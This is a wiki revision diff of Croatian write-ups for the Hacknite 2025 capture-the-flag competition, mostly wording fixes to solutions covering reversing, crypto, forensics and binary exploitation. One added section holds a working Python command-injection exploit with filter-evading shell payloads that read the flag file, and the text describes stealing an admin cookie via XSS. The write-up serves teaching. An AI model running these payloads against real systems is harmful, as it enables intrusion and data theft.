User Tools

Site Tools


hacknite2025

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

hacknite2025 [2025/11/20 18:21] mbunichacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 341: Line 341:
 Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http://chal.hacknite.hr:1556/get**, vraćeni odgovor pokreće kao shellcode. Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http://chal.hacknite.hr:1556/get**, vraćeni odgovor pokreće kao shellcode.
  
-U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp.+U ovom dijelu koda se može vidjeti pod koji header se postavlja timestamp.
  
 <file> <file>
Line 359: Line 359:
  
  
-Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.+Slanje trenutačnog timestampa je bitno, jer serverska strana može vraćati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.
  
 Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku. Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku.
Line 447: Line 447:
  
  
-Ovaj program će ispisati adresu na koju s pomoću gdba trebamo postaviti breakpoint.+Ovaj program će ispisati adresu na koju s pomoću alata gdb trebamo postaviti breakpoint.
  
 <file> <file>
Line 593: Line 593:
  
  
-Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https://www.cert.hr/wp-content/uploads/2019/08/CyberChef.pdf|Cyberchef]].+Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https://www.cert.hr/wp-content/uploads/2019/08/CyberChef.pdf|CyberChef]].
  
  
-{{ hacknite2025:rc4decrypt.png?nolink&500 | Cyberchef RC4 Decrypt }}+{{ hacknite2025:rc4decrypt.png?nolink&500 | CyberChef RC4 Decrypt }}
  
  
Line 617: Line 617:
  
  
-Analizom koda vidi se da program pokušava otvoriti datoteku **"euler-enough-digits.txt"**, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki za ispravno enkodiranje. Zato ovaj zadatak krivo radi ako se pokreće bez datoteke **"euler-enough-digits.txt"** u kojoj je dovoljno znamenki broje e. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher, koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na [[https://archive.org/details/EulersNumberE7.5BillionDigits | internetu]].+Analizom koda vidi se da program pokušava otvoriti datoteku **"euler-enough-digits.txt"**, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki za ispravno enkodiranje. Zato zadatak ne radi ispravno ako se pokreće bez datoteke **"euler-enough-digits.txt"** u kojoj je dovoljno znamenki broja e. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher, koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na [[https://archive.org/details/EulersNumberE7.5BillionDigits | internetu]].
  
  
Line 909: Line 909:
 </file> </file>
  
-Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, potrebno vrijeme za izvršavanje ovog koda je neprihvatljivo.+Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, potrebno vrijeme za izvršavanje ovog koda je neprihvatljivo dugo.
  
 <file> <file>
Line 928: Line 928:
  
  
-Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, ispisat će se flag.+Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, nakon čega će se ispisati flag.
 ====Poligloti==== ====Poligloti====
  
Line 963: Line 963:
  
  
-Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću Ghidra alata je puno lakše, nego što bi inače bilo.+Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom Ghidra je olakšano.
  
  
Line 969: Line 969:
  
  
-Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06"** Što je zapravo signature za kraj ZIP datoteke. Pošto je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat **xxd** i pogledati byteove pri kraju datoteke.+Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06"** Što je zapravo signature za kraj ZIP datoteke. Budući da je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat **xxd** i pogledati byteove pri kraju datoteke.
  
 <file> <file>
Line 986: Line 986:
  
  
-Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.+Sada je potrebno pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.
  
  
Line 1163: Line 1163:
  
  
-Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definira u Dockerfileu.+Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definirana u Dockerfileu.
  
  
Line 1488: Line 1488:
 Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta.
  
-Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, onda u zadnji piksel (donji desni) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, da zadnji piksel je drugačiji od okolnih)+Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, zatim u zadnji piksel (donji desni kut) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, zadnji piksel se razlikuje od okolnih)
  
  
Line 1656: Line 1656:
 Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti).
  
-Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane također dužine 30.+Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane dužine 30, kao i ostale linije.
  
 Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd.
  
  
-Rješenje započinje pronalaskom dužine ključa, a zatim se određuje bajt ključa tako da svaki znak plaintexta koji je njime šifriran dekriptira u valjani znak iz charseta (0–9 + a–f).+Rješenje započinje pronalaskom duljine ključa, a zatim se određuje bajt ključa tako da svaki znak plaintexta koji je njime šifriran dekriptira u valjani znak iz charseta (0–9 + a–f).
  
 Skripta je dana u nastavku. Skripta je dana u nastavku.
Line 1826: Line 1826:
 </file> </file>
  
-Gdje su X i Y konstante u programu, koje su iste za svije riječi.+Gdje su X i Y konstante u programu, koje su iste za sve riječi.
  
  
Line 1840: Line 1840:
  
 Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije.
-X i Y su nasumični integer u rasponu od 1 do broja znakova u rječniku, što je 38.+X i Y su nasumični cijeli brojevi u rasponu od 1 do broja znakova u rječniku, što je 38.
  
 Broj mogućih kombinacija je time: Broj mogućih kombinacija je time:
Line 2717: Line 2717:
 Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda.
  
-Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maximum.+Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maksimum.
  
  
Line 2883: Line 2883:
 </file> </file>
  
-Da je obrnuti redoslijed ovih dviju vrijednosti u signatureu:+Da je redoslijed ovih dviju vrijednosti pri generaciji potpisa bio obrnut:
  
 <file> <file>
Line 2908: Line 2908:
  
  
-Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https://github.com/stephenbradshaw/hlextend|hlexstend]].+Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https://github.com/stephenbradshaw/hlextend|hlextend]].
  
  
Line 3246: Line 3246:
     
     
-Rezultat konvertiranja localhost (127.0.0.1) adrese u oktalnu bez točaka je:+Rezultat konverzije localhost (127.0.0.1) adrese u oktalni format bez točaka je:
     
 <file> <file>
Line 3563: Line 3563:
 </file> </file>
  
-Ovo zadatak čini blind, jer je odgovor svakog upita broj između 0 i 4, koji se translatira u slovo A-F.+To čini zadatak "blind", jer je odgovor svakog upita broj između 0 i 4, koji se potom mapira na znak iz skupa AF.
  
  
Line 3825: Line 3825:
 Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu.
  
-Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat da odgovara sha256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku "ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao Što je u skripti rješenja zadatka.+Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit da odgovara SHA256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku "ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao što je u skripti rješenja zadatka.
  
-Također se zadatak može riješiti i crackanjem vraćenog sha256 hasha unutar kojega je i vraćen flag, di je jedini nepoznati dio 12 znamenki korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, pa može pretražiti prostor u prihvatljivom vremenu.+Također se zadatak može riješiti i crackanjem vraćenog SHA256 hasha unutar kojega je i vraćen flag, gdje je jedini nepoznati dio 12 znamenki flaga. Korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, može se pretražiti nepoznati prostor u prihvatljivom vremenu.
  
-Skripta koja rješava zadatak s pomoću blind upita je u nastavku.+ 
 +Skripta koja rješava zadatak korištenjem Pythona i enkodiranjem flaga hex. 
 +<file> 
 +import requests 
 +import binascii 
 + 
 +# CONFIGURATION 
 +URL = "http://chal.platforma.hacknite.hr:14017/hash" 
 + 
 +def decode_response(hex_string): 
 +    try: 
 +        decoded_bytes = binascii.unhexlify(hex_string) 
 +        return decoded_bytes.decode('utf-8', errors='ignore'
 +    except Exception as e: 
 +        return f"Decoding Error: {e}" 
 + 
 +def solve(): 
 +    print("[*] Constructing Payload..."
 + 
 +    # 1. Generate the number 1 (for 'head -n 1') 
 +    # logic: count 'a' -> 1 
 +    one_gen = "one=$(printf a|wc -c);" 
 + 
 +    # 2. Generate the number 64 (for final truncation) 
 +    # logic: 64 'a's count 
 +    a_64 = 'a' * 64 
 +    len_gen = f"len=$(printf {a_64}|wc -c);" 
 + 
 +    # 3. Locate Python binary without using '3' 
 +    # 'ls /usr/local/bin/python?' matches '/usr/local/bin/python3' 
 +    # We pipe to 'head -n $one' to ensure we get just one line/binary 
 +    find_py = "py=$(ls /usr/local/bin/python?|head -n $one);" 
 + 
 +    # 4. Python One-Liner  
 +    # Reads stdin, strips whitespace, encodes to hex. 
 +    # No digits or blacklisted words used here. 
 +    py_cmd = "import sys;print(sys.stdin.read().strip().encode().hex())" 
 +     
 +    # 5. Construct the full pipeline 
 +    # head f* -> Read flag 
 +    # $py -c ... -> Hex encode it using the found python binary 
 +    # tr -d '\n' -> Safety cleanup (though .strip() does most work) 
 +    raw_gen = f"raw=$(head f*|$py -c '{py_cmd}'|tr -d '\\n');" 
 + 
 +    # 6. Padding Logic (same as before) 
 +    pad_str = 'a' * 64 
 +     
 +    # 7. Combine and Print 
 +    cmd_logic = ( 
 +        f"{one_gen}" 
 +        f"{len_gen}" 
 +        f"{find_py}" 
 +        f"{raw_gen}" 
 +        f"pad={pad_str};" 
 +        f"combined=$raw$pad;" 
 +        f"printf %s $combined|head -c $len" 
 +    ) 
 + 
 +    payload = f"' ; {cmd_logic} ; #" 
 + 
 +    print(f"[*] Payload: {payload}"
 +     
 +    json_data = {"user_input": payload} 
 + 
 +    try: 
 +        res = requests.post(URL, json=json_data, timeout=10) 
 +        response = res.json() 
 +         
 +        if response.get("success"): 
 +            returned_hash = response.get("hash", ""
 +            print(f"[*] Server returned: {returned_hash}"
 +             
 +            decoded = decode_response(returned_hash) 
 +            print("="*50) 
 +            print(f"[*] DECODED OUTPUT: {decoded}"
 +            print("="*50) 
 +        else: 
 +            print(f"[-] Server reported failure: {response.get('error')}"
 + 
 +    except Exception as e: 
 +        print(f"[!] Connection error: {e}"
 + 
 +if __name__ == "__main__": 
 +    solve() 
 +</file> 
 + 
 + 
 +Skripta koja rješava zadatak korištenjem Basha i generiranjem blind upita.
  
 <file> <file>
Line 3916: Line 4003:
 print(f"Exploit finished. Final Flag: {known_flag}") print(f"Exploit finished. Final Flag: {known_flag}")
 </file> </file>
 +
  
  
Line 3930: Line 4018:
 Ranjivost u ovom zadatku je [[xss napadi |XSS]]. Ranjivost u ovom zadatku je [[xss napadi |XSS]].
  
-zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u  "localhost", a PORT u 5000 (zadnja linija **app.py**) umjesto URL-a stranice (sličan pristup kao kod SSRF-a), kako bi admin bot koristio svoj cookie pri posjetu stranice. Potom JavaScript kodom u XSS-u treba adminov cookie pročitati i poslati na vlastiti request basket.+zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u  "localhost", a PORT u 5000 (zadnja linija **app.py**) umjesto URL-a stranice (sličan pristup kao kod SSRF-a), kako bi admin bot koristio svoj cookie pri posjetu stranice. Potom JavaScript kodom u XSS-u treba adminov cookie pročitati i poslati na vlastiti request basket.
  
  
Line 3995: Line 4083:
  
  
-Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi unazad ili bitovi. Da su bajtovi izokrenuti, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.+Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi ili bitovi okrenuti unazad. Da su bajtovi izokrenuti, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.
  
  
Line 4136: Line 4224:
 </file> </file>
  
-S binwalk alatom se može napravit extract initrd i initrd backupa.+S binwalk alatom se može napraviti extract initrd i initrd backupa.
  
 <file> <file>
Line 4337: Line 4425:
  
  
-U direktoriju ovog korisnika, jedne od zanimljivijih datoteka su **places.sqlite** i **places.sqlite-wal** (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama+U direktoriju ovog korisnika, neke od zanimljivijih datoteka su **places.sqlite** i **places.sqlite-wal** (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama
  
 <file> <file>
Line 4582: Line 4670:
 A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5.
  
-Format rješenja je 5 unesenih brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. +Format rješenja je unos 5 brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. 
  
 ...xx**1**xxxxxxxxxxxxxxxxx ...xx**1**xxxxxxxxxxxxxxxxx
Line 4644: Line 4732:
 Uz zadatak je dan i izvorni kod. Uz zadatak je dan i izvorni kod.
  
-Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, underflowom biti postavljen najvećmogući, te će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.+Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa biti postavljen na najvećmoguću vrijednost. Time će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.
  
 U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost.
Line 4660: Line 4748:
  
  
-Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. Adresa povratka se može prepisati preko buffer overflowa, da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije **easter_egg** koja ispisuje flag.+Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. Adresa povratka se može prepisati preko buffer overflowa, tako da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije **easter_egg**koja ispisuje flag.
  
 <file> <file>
Line 4928: Line 5016:
  
  
-Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], prepisivanju adrese i sadržaja virtualna tablica funkcija (vtable) string pointera.+Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], prepisivanju adrese i sadržaja virtualna tablica funkcija (vtable) te string pointera.
  
 Predzadnji upit u zadatku (**Ime i prezime>**) ima buffer overflow, kojim se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualnu tablicu funkcija da oboje pokazuju na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).   Predzadnji upit u zadatku (**Ime i prezime>**) ima buffer overflow, kojim se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualnu tablicu funkcija da oboje pokazuju na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).  
hacknite2025.1763662917.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki